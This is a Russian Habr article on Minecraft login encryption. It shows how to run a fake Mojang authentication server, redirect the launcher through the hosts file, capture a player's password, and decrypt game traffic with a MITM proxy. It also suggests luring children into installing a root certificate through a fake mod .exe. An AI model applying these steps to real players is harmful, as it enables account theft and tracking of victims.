Разбор шифрования в Minecraft

Привет. Знаете про Minecraft? Да-да это та самая нашумевшая игра из 2014 про кубики, дракона и злых школьников, которые объединились в невероятной амальгаме. В игре есть как singleplayer, так и multiplayer. Но что шифровать в одиночке? (Хотя идея защитить свою карту паролем, чтобы негодяи не убили вашего верного пса, довольно заманчива).

верный пёсверный пёс

Сегодня я расскажу про то, как работает шифрование в многопользовательском режиме. Но сначала нужно определиться с инструментарием.
Вот что я буду использовать:

  1. MCWP MITM прокси для исследования протокола майнкрафт.

  2. yggdrasil-server Сервер авторизации, похожий на тот что использует mojang для лицензионных аккаунтов.

    И да, все команды приведены для Windows.

Протокол майнкрафт

Мультиплеер майнкрафт построен на клиент-серверной архитектуре поверх tcp. По официальным данным начиная с версии 1 (до этого были еще альфа и бета) сетевая подсистема игры построена на фреймворке Netty (Java).
Если сильно упростить, то роли клиента и сервера сведены к выполнению в цикле этих действий:

Для клиента

  • Подключается к серверу

  • Подтверждает свой юзернейм (если сервер отправит Encryption Request)

  • Загружает и рисует карту

  • Перемещается по карте и отправляет свою позицию

  • Взаимодействует с остальными миром и отправляет события на сервер

  • Получает и проигрывает события от сервера

Для сервера

  • Принимает игроков

  • Проверяет их юзернеймы (если online-mode: true)

  • Генерирует карту и отправляет клиентам

  • Получает события и позицию от игроков и передает другим игрокам

Как устроены аккаунты в Minecraft

Майнкрафт — платная игра. И основной причиной использования криптографии в ней была именно аутентификация, то есть определение лицензионных игроков и подтверждение их доступа. А шифрование было уже бонусом.

И хотя игра может работать без лицензии (изначально этот режим создавался для игры без доступа к сети интернет, когда нельзя проверить подлинность игрока, и называется в файлах конфигурации online-mode: false) без аутентификации пользователя шифрование не включается.

Кстати, сам Notch (создатель игры) говорил про пиратов так: «Качайте пиратку. Если она все также будет нравиться Вам в будущем, когда Вы сможете позволить ее себе, тогда и купите. Также не забудьте почувствовать себя плохо;)».

создатель майнкрафтсоздатель майнкрафт

Лицензионной копией считается та, которая была куплена на сайте разработчика и имеет аккаунт Mojang (или Microsoft). А также привязанный к этому аккаунту uuid. UUID — это уникальный идентификатор каждого из игроков майнкрафт. Он не меняется даже после смены никнейма в игре.

Процесс обмена информацией с реестром аккаунтов (сервером аутентификации и авторизации) начинается еще задолго до подключения к серверу.

Рассмотрим поэтапно:

  1. Игрок заходит в лаунчер (программа для запуска игры)

  2. Игрок вводит пароль и логин от аккаунта

  3. Лаунчер отправляет их на сервер и если они верны получает токен

  4. Лаунчер хранит и обновляет токен при каждом входе в игру

Могу я украсть ваш аккаунт?

Уже заметили? Лаунчер отправляет логин и пароль игрока на сервер. Да, через https, но что нам мешает узнать логин и пароль подменив сервер авторизации? Так и поступим.
Разворачиваем yggdrasil-server:
Потребуется Python 3.8+

// Клонируем репозиторий
git clone https://gitlab.com/seeklay/yggdrasil-server.git
cd yggdrasil-server/
// Разрешаем и устанавливаем зависимости
python3 -m pip install -r requirements.txt
// Запускаем свой сервер авторизации + сервер сессий
sanic --cert x509/fullchain.crt --key x509/cert.key -d -p 443 server.app

Теперь нужно заставить лаунчер жертвы доверять нашему tls сертификату. Раньше, лаунчер был, как и сама игра просто .jar файлом и заполучить его доверие можно было так же просто, как и клиента игры, но теперь лаунчер это нативная .exe программа которая использует корневые сертификаты системы. Углубляться в то, как креативно можно заставить жертву по нажимать пару неизвестных кнопок не будем, но посчитаем что этот этап уже пройден. Тогда остается направить запросы на наш сервер. Например, изменя ip домена authserver.mojang.com на ip собственного сервера в файле hosts.

Теперь, когда жертва захочет зайти в игру, она разлогинится в лаунчере, так как сессия не зарегистрирована на нашем сервере. И клиенту придется ввести логин и пароль от его аккаунта. Когда это произойдет, в консоли сервера авторизации мы увидим это:

[DEBUG] AuthenticateRequest(
agent=AuthenticateRequestAgent(name='Minecraft', version='1'), username='habr',
password='newjersey', clientToken='4feb4d1fe82446d2aa4eb3d20f8c9ffd',
requestUser='true')
[INFO] attempt to authenticate as habr but user not exists

В дебаг логе видно данные учетной записи. Атака удалась. А игрок так и не смог войти в лаунчер, так как такого пользователя на нашем сервере не было.
Да, это выглядит интересно, но как заставить игрока установить корневой сертификат и отредактировать hosts?
Игроки майнкрафт в основном — дети и обмануть их проще всего. Хочешь скачать новый мод на слона в майнкрафт? Скачай наш .exe нажми два раза и при запросе прав администратора нажми — да, и все слон — твой, а точнее кот в мешке.
Но да, это по сути глупость ведь попадя на компьютер пользователя и получив права администратора можно сделать гораздо 'больше'.


Я никого не призываю кого-либо взламывать или обманывать таким или любым другим способом. Вся ответственность за интерпретацию этого текста как побуждения к действию лежит на вас.

Могу я узнать местоположение ваших алмазов?

Хорошо, мы узнали, что можно подменить сервер авторизации. Но что, если подменить сервер аутентификации (сервер сессий) который отвечает за подтверждение того, что игрок с конкретным uuid и никнеймом входит на сервер?

Для этого потребуется локальный игровой сервер, но его установку я показывать не буду. Также потребуется лицензионный аккаунт (ну да), или «локальный» на yggdrasil-server.
Чтобы увидеть, какими пакетами обмениваются сервер и клиент, воспользуемся mcwp.
Python 3.7+

// Устанавливаем MCRP
python3 -m pip install MCRP
// Запускаем MTIM прокси
mcwp -v -c examples\conf_blacklist.yaml

Заходим на порт прокси, и видим в консоли такую картину:

[02/24/2023 02:15:12 PM] [INFO] MCRP:  Waiting for client connection...
[02/24/2023 02:15:14 PM] [INFO] MCRP:  New client, creating connection to the server
[02/24/2023 02:15:14 PM] [INFO] MCRP:  Connected to the server
[02/24/2023 02:15:14 PM] [INFO] MCRP:  Reseting state to Handshaking
[02/24/2023 02:15:14 PM] [INFO] root:  ServerBound   Handshaking.Handshake(ProtoVer=47, ServerName='lc', ServerPort=25565, NextState=NextState.Login)
[02/24/2023 02:15:14 PM] [INFO] MCRP:  State changed to state.Login, trying to load protocol v47
[02/24/2023 02:15:14 PM] [INFO] MCRP:  Successfuly loaded protovol v47
[02/24/2023 02:15:14 PM] [DEBUG] root:  Selected proto version is: 47, building filter...
[02/24/2023 02:15:14 PM] [DEBUG] root:  Filtering mode: ClB: blacklist / SvB: blacklist, filtered packets:
[02/24/2023 02:15:14 PM] [INFO] root:  ServerBound   ClassicLogin.LoginStart(Username='m7')
[02/24/2023 02:15:14 PM] [INFO] root:  ClientBound   ClassicLogin.EncryptionRequest(ServerID='', PublicKey=b'0\x81\x9f0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x81\x8d\x000\x81\x89\x02\x81\x81\x00\x94\xcb\xd0\xb3\xbf\x94\xcd\x14z~\x10\xdf2\t6%\x1anh\xc9\x18\x10\xf03\xd9@0!9<\xa5\xcbV\xcd\xa0%\x0b\x9bY\xfdL\xc0\xefI\xd7\xc9\xaf\x01p\x892Mmi\x9aPu\xdek\x96\xfc-\x93-\x91k\x95\x07\xb645I\xc42\xa2\xe7\x02\x03\x01\x00\x01', VerifyToken=b't\xe8\x0b\xa8')
[02/24/2023 02:15:14 PM] [INFO] root:  ServerBound   ClassicLogin.EncryptionResponse(SharedSecret=b'\x04\x7f\xb8sG\xd6\x7fQ\xb0\x92\xb6\xa8:\xd6\xa97\x8d\xc5\x1c?\xc6\x93\x14Z\x1a\xf7(s M\x8c\x8f\x14\xf6;G\xf8\x85\xd3W*f\x0c\xd3\x9e\xf8\xff\x82,$\x96\xf0\x12vi]\x89\xee\xca\xdd_\x901`\xc1h\xe37)\xb3\x81a\xd4\x05Y\xf4y\xa7\x8f\x88\x84\x01\x8b\xc8\x9aA\xde\x16\x96_\xc9\xaf\x9c\xc4\xec\x08\x91E\xcc%\xc3\xa7\x8aj\x8b\x01,u\xa0\x9a\x8d\x8d1\x8a\xd2\x05.a8\xbcf\x17\\\x9b\xbb\xfd+\xa8', VerifyToken=b"\x81\xb5\xe7'\n\xbc\xd2\xce\xe5\xf4\xf3-\xe9K\xa2.\x07\x8e\x85\t\x03\xf0\xa6d\n\xdeF\xf7\xdb%T{\xf0\x95\xc6\xbf\x00Z\xb6\xe3\x84\xd5\xc6\xb8\x02*(\xd0KI`\xd3\xfb\x0bB#\x02\x97\xa7\x0eB\xb9w\xec\xb0\xa8G\x1c\xfd\xe8a\xf1kr\x02\xb7\xa8O|\x1b\x15\xd5[\x97\x8d2U9L\xcd\x16\x0e\xa3x\x1f\x1bE\xf0\xe2\x17\x05\x03\x82{\xf1\xf9\x02\x7fc\x81w,\x01K\xf3\x88\xa3\x96\r<\x8a\xbf\xc3\x8d\x9d\xc5I\x03")
[02/24/2023 02:15:14 PM] [WARNING] MCRP:  Minecraft client sent EncryptionResponse! That mean full symmetric encryption enabling, so we can't proceed with protocol analyzing. Just proxying!
[02/24/2023 02:15:20 PM] [INFO] MCRP:  Client disconnected
[02/24/2023 02:15:20 PM] [INFO] MCRP:  Server disconnected

Что мы видим? Сервер посылает запрос на включение шифрования, и клиент на него отвечает, а затем они оба включают симметричное шифрование AES.
После включения шифрования mcwp уже не показывает дальнейший обмен пакетами, так как не может их расшифровать, ведь не знает ключ.
Но так у меня нет лицензионного аккаунта майнкрафт, и аккаунт m7 зарегистрирован локально на сервере yggdrasil-server и сервер тоже использует этот сервер аутентификации, мы можем расшифровать это соединение загрузив в mcwp модуль для локальной дешифровки.

Попробуем еще раз:

// Запускаем с модулем дешифровки (требуется версия mcwp >= 0.1.7-pre1)
mcwp -c examples\conf_blacklist.yaml -v -d md -ll

И сразу видим отличия в логе инициализации:

[02/24/2023 02:22:30 PM] [INFO] MCRP:  Running MCRP v0.1.7-pre1 (cubelib version 1.0.4-pre1)
[02/24/2023 02:22:30 PM] [INFO] MCRP:  Proxying config is: 127.0.0.1:25565 -> 127.0.0.1:25575
[02/24/2023 02:22:30 PM] [INFO] MCRP:  Using protocol decryptor: Yggdrasil-Server-DecMod/v0.1
[02/24/2023 02:22:30 PM] [DEBUG] MCRP/CRYPTO:  Generating 1024 RSA key...
[02/24/2023 02:22:30 PM] [INFO] MCRP:  Registred direct handlers list[1]:
[02/24/2023 02:22:30 PM] [INFO] MCRP:      
[02/24/2023 02:22:31 PM] [INFO] MCRP:  Registred relative handlers list[0]:
[02/24/2023 02:22:31 PM] [DEBUG] MCRP:  Entering mainloop

[02/24/2023 02:22:31 PM] [INFO] MCRP:  Waiting for client connection...

Видно что используется дешифратор протокола и был сгенирирован ключ RSA.
Подключаемся еще раз и смотрим в консоль:

[02/24/2023 02:22:31 PM] [INFO] MCRP:  Waiting for client connection...
[02/24/2023 02:24:52 PM] [INFO] MCRP:  New client, creating connection to the server
[02/24/2023 02:24:52 PM] [INFO] MCRP:  Connected to the server
[02/24/2023 02:24:52 PM] [INFO] MCRP:  Reseting state to Handshaking
[02/24/2023 02:24:52 PM] [INFO] root:  ServerBound   Handshaking.Handshake(ProtoVer=47, ServerName='lc', ServerPort=25565, NextState=NextState.Login)
[02/24/2023 02:24:52 PM] [INFO] MCRP:  State changed to state.Login, trying to load protocol v47
[02/24/2023 02:24:52 PM] [INFO] MCRP:  Successfuly loaded protovol v47
[02/24/2023 02:24:52 PM] [DEBUG] root:  Selected proto version is: 47, building filter...
[02/24/2023 02:24:52 PM] [DEBUG] root:  Filtering mode: ClB: blacklist / SvB: blacklist, filtered packets:
[02/24/2023 02:24:52 PM] [INFO] root:  ServerBound   ClassicLogin.LoginStart(Username='m7')
[02/24/2023 02:24:52 PM] [INFO] root:  ClientBound   ClassicLogin.EncryptionRequest(ServerID='', PublicKey=b'0\x81\x9f0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x81\x8d\x000\x81\x89\x02\x81\x81\x00\x94\xcb\xd0\xb3\xbf\x94\xcd\x14z~\x10\xdf2\t6%\x1anh\xc9\x18\x10\xf03\xd9@0!9<\xa5\xcbV\xcd\xa0%\x0b\x9bY\xfdL\xc0\xefI\xd7\xc9\xaf\x01p\x892Mmi\x9aPu\xdek\x96\xfc-\x93-\x91k\x95\x07\xb645I\xc42\xa2\xe7\x02\x03\x01\x00\x01', VerifyToken=b'\xc7\x0c+(')
[02/24/2023 02:24:53 PM] [INFO] root:  ServerBound   ClassicLogin.EncryptionResponse(SharedSecret=b"\xb2qD\x92\xdc\x0f\x05\x88\x90.\xe6\x18\tA\xa7\x81\xf0\xbd\xba\xef(*Z^\xb1;\xa5\x85\x08\xd9_c\xdbO<\xe2\xb2\x0cOHw\xf7\x005\x0ek\x86\xa5\x95\xea\xd1'0]\xc4\xf87\xe4\xcd\xa2\xdaa\xa10\xaf\xd1-m+Q\xcaG\xa2\x11F\x9c_\x02\x05\x83C\x1c\xd5}\xea\xc1\xf27u\xba\x82q\xc4y\xdf\xab\xa4\xee\xe3\xe8!N\x1dgi^\xa9\x16\xd2\x0cL?\x89Nb9\xf3\xffE\r\xd2a\x8dk\xc4\x89/S", VerifyToken=b'x^\xea\x8e\x14Q4a\x08\xd4\xe9\xcb\xb2t\x0eZO\xd0\x92(YdL\xdf\x12\x90\xd6\xe6g\x93\x156\xc8\xdb\xf0\xc3m\xf4\xb8\xf7\xaa\xd0\x10\xc4?\xee\x8f\\5\xe3\rn\xa7m#6 \xf3kz\x91Y\x84#\xc0PC\xc5\xc1\xb4r\xdd\xf7\xeb\r})\xcc\x06\xd0\x18*-OU\xb0\t\x9a@\xb0\xca\x0c\xdb\xa7c\xd7\x82\x83\x02\x91\xc2\x89\xbe\xcf\x06\xf0\x1f\x0b\x8b1\xcb\xc9\xf6a1\xa1\xae\x0b6\x0f\xd0\x9a\x92\xa31\xca\xdcZ')
-2c7e3678d40eeed418b5a9aa77351bfa0aacf01f -ca65db73b3f1b81bdc337f7cc70b433703a0e98
[02/24/2023 02:24:53 PM] [DEBUG] urllib3.connectionpool:  Starting new HTTPS connection (1): sessionserver.mojang.com:443
C:\Python\Python3\lib\site-packages\urllib3\connectionpool.py:1020: InsecureRequestWarning: Unverified HTTPS request is being made to host 'sessionserver.mojang.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings
  InsecureRequestWarning,
[02/24/2023 02:24:53 PM] [DEBUG] urllib3.connectionpool:  https://sessionserver.mojang.com:443 "POST /hjk HTTP/1.1" 204 0
[02/24/2023 02:24:53 PM] [INFO] MCRP:  Protocol encryption is set, but you provided a shared secret
[02/24/2023 02:24:53 PM] [INFO] MCRP:  Shared secret: 46b55ab74e3e950a62fe96d99de2a420
[02/24/2023 02:24:53 PM] [INFO] root:  ClientBound   ClassicLogin.SetCompression(Threshold=256)
[02/24/2023 02:24:53 PM] [INFO] MCRP:  Point of switching-on compression with threshold 256
[02/24/2023 02:24:53 PM] [INFO] root:  ClientBound   ClassicLogin.LoginSuccess(UUID='917cd927-86a2-42cd-b7b0-b1838ea4c933', Username='m7')
[02/24/2023 02:24:53 PM] [INFO] MCRP:  State changed to state.Play
[02/24/2023 02:24:53 PM] [INFO] root:  ClientBound   Play.JoinGame(EntityID=114, Gamemode=1, Dimension=0, Difficulty=1, MaxPlayers=20, LevelType='default', ReducedDebugInfo=False)
[02/24/2023 02:24:53 PM] [INFO] root:  ClientBound   Play.PluginMessage(Channel='MC|Brand', Data=b'\x06Spigot')
[02/24/2023 02:24:53 PM] [INFO] root:  ClientBound   Play.ServerDifficulty(Difficulty=1)
[02/24/2023 02:24:53 PM] [INFO] root:  ClientBound   Play.SpawnPosition(Location=(-1, -1, -1))
[02/24/2023 02:24:53 PM] [INFO] root:  ClientBound   Play.PlayerAbilities(Flags=15, FlyingSpeed=0.05000000074505806, FOVModifier=0.10000000149011612)
[02/24/2023 02:24:53 PM] [INFO] root:  ClientBound   Play.HeldItemChange(Slot=0)
[02/24/2023 02:24:53 PM] [INFO] root:  ClientBound   Play.Statistics(Count=0, Data=b'')
[02/24/2023 02:24:53 PM] [INFO] root:  ClientBound   Play.ChatMessage(Json_Data='{"extra":[{"color":"yellow","text":"m7 joined the game"}],"text":""}', Position=1)

Теперь мы видим все пакеты, которые передаются между клиентом и сервером (локальным сервером, который использует наш 'игрушечный' сервер авторизации).
Видя все пакеты, теперь мы можем отслеживать местоположение игрока и узнать где его дом. (ну и забрать алмазы конечно)

Разбор шифрования в Minecraft

Как работает шифрование в майнкрафт и как его можно расшифровать.
У протокола майнкрафт есть 3 состояния: Рукопожатие, Вход в игру, Игра.

Рассмотрим поближе что и кому отсылают сервер и клиент во время входа в игру:

  • Client → Server: ClassicLogin.LoginStart (Username='m7')
    Клиент передает юзернейм, с которым хочет войти

  • Client <- Server: ClassicLogin.EncryptionRequest(ServerID, PublicKey, VerifyToken)
    Сервер передает свой публичный ключ и токен проверки

  • Client → SessionServer: SessionJoin (accessToken, selectedProfile, serverId)
    Клиент передает на сервер сессий информацию о сервере к которому собирается подключится.

Клиент фактически говорит: у меня есть действительный токен 123 связанный с юзернеймом m7 и я хочу зайти на сервер с sha1(публичным ключем 456 и общим секретом 789)

  • Client → Server: ClassicLogin.EncryptionResponse (SharedSecret, VerifyToken)
    Клиент отвечает зашифрованными публичным ключем сервера, симметричным ключем и токеном проверки

SessionServer <- Server: hasJoined(serverId: str, username: str) Сервер проверяет правда ли лицензионный игрок с таким юзернеймом хочет зайти на этот сервер

  • Client <- Server: ClassicLogin.LoginSuccess(UUID='917cd927-86a2-42cd-b7b0-b1838ea4c933', Username='m7')
    Сервер передает клиенту его юзернейм и UUID и переводит протокол в состояние Игра

Разбор дешифрования

  • Когда сервер запрашивает у клиента включение шифрования, он посылает ему свой публичный ключ RSA и данные проверки, которые клиент должен зашифровать ключем сервера.

  • Когда прокси видит этот пакет, он подменяет ключ и/или данные проверки на собственные. Это нужно, что-бы когда клиент ответит общим симметричным ключем, зашифрованным публичным ключем сервера, мы могли его расшифровать и сохранить для расшифровки последющих сообщений.

  • Затем клиент отвечает общим симметричным ключем и рандомными данными, которые отправил сервер, но зашифрованные публичным ключем сервера. А перед тем как ответить, клиент делает запрос на sessionserver.mojang.com и отправляет туда свой токен, полученный при авторизации, и хеш sha1(shared_secret + public_key).Это нужно для защиты от атаки человека по середине, который подменит публичный ключ (но не подменит сессию).

  • Когда прокси получает ответ от клиента, он обращается к серверу сессий и дает команду подменить sha1(shared_secret + proxy_public_key) на sha1(shared_secret + server_public_key).

  • Когда сервер получает ответ от прокси, он обращается к серверу сессий на конечную точку session/minecraft/hasJoined с serverId, равным sha1(shared_secret + server_public_key) с общим секретом и username получеными от клиента, но так как прокси подменил serverId, сервер получает ответ 204 от сервера сессий (означает что проверка юзернейма прошла успешно) и подтверждает вход в игру пакетом LoginSuccess(UUID='917cd927-86a2-42cd-b7b0-b1838ea4c933', Username='m7') который передаётся уже зашифрованным с помощью общего секрета и шифра AES.

Еще по теме (англ)

© Habrahabr.ru